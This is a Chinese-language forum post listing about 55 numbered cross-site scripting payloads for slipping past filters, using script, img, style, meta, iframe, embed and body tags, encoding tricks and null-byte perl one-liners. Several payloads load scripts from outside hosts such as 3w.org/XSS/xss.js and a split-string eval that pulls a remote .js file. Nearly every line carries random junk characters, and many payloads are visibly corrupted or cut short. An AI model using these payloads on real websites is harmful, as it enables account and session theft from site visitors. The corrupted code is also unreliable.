(1)普通的XSS JavaScript注入
' J2 _# O: I. H, s$ j, A! c" }<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>; j* c1 {( l) d9 ]% |# z/ L
(99)另类弹框3 `6 D- }; ~! D( Y4 l* d: u
<q/oncut=alert()>1
$ J$ }& a) U& e* y$ c3 R! m& y<s/onclick=alert()>b- o1 j! Y, W1 r( R1 E/ g( C
<XSS=" onclick="alert(1)//">clickme</SSX=">2 o) L; ~( A1 Q2 C# s+ k @
<zzz onclick=alert`1`>clickme</zzz> S- }0 Z% g$ o4 ]4 o
<a onclick=alert`1`>clickme</a>- B+ s: j- ?' F' D
<a=">clickme</a=">
3 u, A P9 U7 [( Q5 K' w# }<a=">clickme</a>, Q0 M; G' \# }) \1 ?4 `& S; [+ d
<z=">clickme</z=">8 _( R% e) d# h# L0 c
<z onclick=alert`1`>clickme</z>
$ F. E) z9 W: F7 J' Z: w; N8 D5 W4 x y9 k# j4 _& R$ ?
(2)IMG标签XSS使用JavaScript命令5 m. X3 e) [3 I: o0 A6 B5 d
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
! [) F) m9 H" R6 r, G5 T
( b$ r" ^+ N/ K; ]' M(3)IMG标签无分号无引号
+ X* _" ~- o/ l! `5 |& P: D/ r<IMG SRC=javascript:alert(‘XSS’)>' k; n/ G& n: W+ q8 z5 F( U
9 S) o" v7 B9 p0 B. }: k(4)IMG标签大小写不敏感) W- i; D0 |+ ]/ `! r' ^' Q" ^) y" w
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>' |0 x+ k' v0 |! ~' n, x3 l
- n7 {, k' ^/ R, r8 w
(5)HTML编码(必须有分号)( ~) o0 l$ L1 ]
<IMG SRC=javascript:alert(“XSS”)>$ ^( }( @3 n# Y: k
, {7 P2 |& a+ l+ |6 o: Y
(6)修正缺陷IMG标签
4 Q2 e) a' i- g6 O& u6 c<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>2 o) G G" U* N" q) Z' o% I
3 m( k T# S0 n& O(7)formCharCode标签(计算器)5 C$ f2 \. u! H0 q
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>3 M- J Z1 G i7 {& \) r$ z
: x5 n' ] u' a7 e) C6 N2 p
(8)UTF-8的Unicode编码(计算器)
# z2 z( A, N" z* A' S- M<IMG SRC=jav..省略..S')>, Y( _. g, t1 t) _$ O
$ Z! |& u1 t% T& s( T(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
4 v2 S1 L4 B- n# P<IMG SRC=jav..省略..S')>( R) a/ n! N% d" e6 z) N
/ e& v" ^5 J4 ~, r
(10)十六进制编码也是没有分号(计算器)
" U( R/ E. M+ u2 E, \% l<IMG SRC=\'#\'" /span>
/ l: s+ @& J+ _% {6 e4 o
$ L z. L8 W+ Z$ N6 S9 P(11)嵌入式标签,将Javascript分开
9 j U! t3 }) \) ?. W<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
5 k( T1 n; _# O x& Y6 t
' f4 f# \, v9 X(12)嵌入式编码标签,将Javascript分开' e9 T9 C% @/ R; {, r
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”> P7 [% w% N' Z z
+ p0 ^# v7 i! D( t, w+ R' c# @7 c' v
(13)嵌入式换行符
# ]" V) \" _7 F7 _! y<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
8 h0 Z6 W8 r7 L5 ^$ v
7 x1 m$ R) I' d' L5 v) }(14)嵌入式回车
7 E: v, C" f, m& z0 l- Z! B( r/ M<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>" v' f- d0 A g
% S2 w2 {* X: z
(15)嵌入式多行注入JavaScript,这是XSS极端的例子! y. u, B" V) k j8 |
<IMG SRC=\'#\'" /span>
: _- L5 ^5 H2 k9 U# r: j! f5 }) T' L6 s
(16)解决限制字符(要求同页面)* M) o1 Q! s1 \( e
<script>z=’document.’</script>' J* b' Q5 }1 j" V3 h' f2 a
<script>z=z+’write(“‘</script>
[- I) W' m" z<script>z=z+’<script’</script>
+ P9 q) w8 g7 ?- u" P) z+ V<script>z=z+’ src=ht’</script>4 ]8 U* X6 F+ l
<script>z=z+’tp://ww’</script>
1 `6 X- y$ `+ @+ S) s8 Z& q<script>z=z+’w.shell’</script>
: L; Q* J* m2 a<script>z=z+’.net/1.’</script>
" d3 T: L0 m, N$ k# l" w: b<script>z=z+’js></sc’</script>
, E2 A4 {# \! S4 J" l* t/ s# b* o<script>z=z+’ript>”)’</script>9 ?' [0 { S6 b0 R$ u
<script>eval_r(z)</script>( l6 {( H" l, I' D
4 O) q/ Z- d1 J, h4 U& s* k4 N) p
(17)空字符
$ V) U6 u5 m' r4 bperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out% a" i1 u/ m3 Y* ~
. W/ ?) x$ ]) |
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用. h1 X9 }2 V# H8 Q' e# s# L
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out# q) @' |( }$ Z% B( x1 ]$ E
4 q( ^4 S) n, C+ _0 o, @; I(19)Spaces和meta前的IMG标签
: l. R7 r7 ^& o8 F<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
; y& @$ O/ k# `0 V7 B- H! A; z; f3 o) V# c
(20)Non-alpha-non-digit XSS
& e* h' W; y" V: q; F<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>/ m* A# S9 h6 P( m/ V, i7 J; p
+ Z" B) k6 b+ _' E
(21)Non-alpha-non-digit XSS to 2! x4 E- v8 [! Z, m$ S, U+ Z2 S- N
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>' L. l# c4 w1 z
4 l5 g# Q8 s. h$ a" D- v+ s(22)Non-alpha-non-digit XSS to 3
1 W6 m+ x( I( D( @4 p I1 c8 a6 v<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>
: p, k$ s1 e! ^9 Q. m/ J* \7 F( V
(23)双开括号! J7 j! o6 a. m. h! p
<<SCRIPT>alert(“XSS”);//<</SCRIPT>/ t/ z) v7 O2 M& d9 y
, p9 a C2 q' s
(24)无结束脚本标记(仅火狐等浏览器)
( w; N, S! S3 \4 K7 _<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>+ _- Q+ l( O7 S; G7 I
1 @6 ?( F; s |9 Z(25)无结束脚本标记2
6 E4 l" l" g$ P<SCRIPT SRC=//3w.org/XSS/xss.js>" L2 d {' ^' |! ~
- ?+ l' K" D K( p7 @8 |3 ?(26)半开的HTML/JavaScript XSS( b/ _: \, b, Q
<IMG SRC=\'#\'" /span>5 \* v( I' v- g
1 ~5 B; D( P/ }( r, l
(27)双开角括号
' ~. y- m0 Q& ]& h7 H<iframe src=http://3w.org/XSS.html <
! s$ P) E6 w1 R6 I! W: [8 c/ O( v) U4 [+ k; h. Z
(28)无单引号 双引号 分号% J6 i% n7 `( }' M8 w
<SCRIPT>a=/XSS/
3 w* ~- J2 h8 Lalert(a.source)</SCRIPT>) b+ i/ W, {: B/ C/ u$ F
v7 N' s! D: E
(29)换码过滤的JavaScript
$ c H! @8 d7 i4 P3 k\”;alert(‘XSS’);//1 W1 j" |' v- ?: r1 `9 _) \# e9 O
) p& q+ ?( D6 s8 |/ N) v0 _
(30)结束Title标签/ R5 A/ ~% L/ a4 e3 b
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
5 Z5 @4 ]; l: R7 H" P9 H# T5 D0 D' F P- _
(31)Input Image
; `3 A( H7 V2 V* }- v5 g* h4 n<INPUT SRC=\'#\'" /span>1 e: r8 P9 {% c) P! r0 Q' u
1 U/ L) Q3 |* {# B
(32)BODY Image5 R; f* {+ M8 W
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>" p, W, B( x. V
) u" ~( O o Z9 k4 B$ ?
(33)BODY标签
7 F( W9 a% ^- M' q5 {<BODY(‘XSS’)>
% C+ A; E6 s6 G( d! Y" g9 l& j/ J! q' T6 G/ s
(34)IMG Dynsrc. ] ~# d7 {9 D% O; V6 l: }- n
<IMG DYNSRC=\'#\'" /span>7 U; h) l( }: h8 a% S
m2 i. m" w5 U( M- @0 W
(35)IMG Lowsrc& Z3 K7 e# w3 B. P$ I8 e( `: q/ o
<IMG LOWSRC=\'#\'" /span># A! a w8 v+ o4 b
" a9 F% h% x: `$ N9 n( @4 B- I(36)BGSOUND
/ y2 w1 b) |6 b8 B<BGSOUND SRC=\'#\'" /span>
" h6 I- ?, ^- S/ e9 A) Z% ~; h1 {, ~3 T, U: F5 i" J0 k y9 V0 u
(37)STYLE sheet# j3 ]. ?8 \, D* w! b
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>: C8 N6 ^( Z2 `- s! Q7 g, q+ y
4 b, w3 f! j6 [, `. g5 t+ h(38)远程样式表
1 H5 O5 j9 ^- X/ `' U<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
2 L, [: ~5 s8 d' H# x# I5 U6 L% C% |! E
(39)List-style-image(列表式)
" ^; Z% ?2 Y$ b<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
/ L3 a9 I, l) l4 H
2 }% C) i; P5 h4 }5 a) t# a2 }(40)IMG VBscript
8 `# Z7 u' w% k" U<IMG SRC=\'#\'" /STYLE><UL><LI>XSS+ U4 Q4 K9 O) }6 e0 r# x8 c# J
# T' |- J% }, r: S$ I/ P' |4 z(41)META链接url8 G {4 a) k8 d
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>: g" s# E) b! X& g9 L1 A& k) m7 m
. o4 d# M( _& d* `4 @! i6 c3 [: ~
(42)Iframe5 x% S$ L0 A! U: [0 Z
<IFRAME SRC=\'#\'" /IFRAME>
7 T0 U) x& d6 v+ f1 f
2 P5 c2 q9 j) u5 t1 `# z(43)Frame6 t3 y9 w6 @- t" O6 a
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>+ F; |9 Z2 E R& B7 o+ m$ V4 G
3 O7 Y. j, H' n# e( x3 }: G+ Q0 g(44)Table+ }; ^2 X) \) f6 P% l
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
0 c! N" q# ?9 b, F
6 I1 k3 z+ [! ]& B4 [5 J(45)TD, u3 I6 L# C0 m: h+ b. h
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
" s" _- Q, _! D* p. e$ K7 G0 ~: U0 H- m, L4 q: }5 V
(46)DIV background-image
) o6 D# a$ B5 w) k& L$ ^<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>* }& X/ W& v' f. Y; ?
[% S- B. e, x/ R
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279) `. ^& h. p6 {# i
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>7 \ Q. Z& K* `8 |9 F6 l, L" L
, A0 o2 {8 e) f* F, W! p(48)DIV expression: K- Z q4 I5 f9 N4 d! M
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
9 X, l: r% Z4 H. O/ @( E# S. A. G# E" g& v: Y7 O8 R" Q' ^
(49)STYLE属性分拆表达, X2 j, b0 T' j* W; ?
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>; D% s* u- E* n8 B+ E/ H: ~, a$ F
f- ]& K+ b' W8 J. o9 Q(50)匿名STYLE(组成:开角号和一个字母开头)
, L" N! p5 T# s6 s* p# ^<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>/ i/ u8 K5 f$ K1 T7 ^! T; [/ p: B+ x
# g0 ~5 a( h! j: P: y; g
(51)STYLE background-image
( d3 A! d8 N5 ^9 h9 M( y<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
7 m3 b8 ^& d6 ~; C% o: h
8 R8 S, ? Q2 n: A" R. q(52)IMG STYLE方式
: e" s! N6 ]0 u/ R Nexppression(alert(“XSS”))’>' w/ Z: l% r; G: w- g- ^8 \$ P
# _& u' n% w' W' T4 I. E, T+ w(53)STYLE background! N1 B% A; \7 w2 h% U. a) r3 s C
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE># ?# E$ L! [; D3 ]' X% }, T
9 s& m* O$ H# U, W; ](54)BASE% D! G5 ~$ c) a, L* j
<BASE HREF=”javascript:alert(‘XSS’);//”>
1 ~4 Y# ]! r; e! d8 e
6 R5 I$ E% O. ?* ?) O/ ]1 P(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
! |+ i" G8 w5 b% N<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>- ~+ y! V/ o# u8 L0 A) @; O& w0 E
|
发表于 2016-4-28 10:06:15
收藏
支持
反对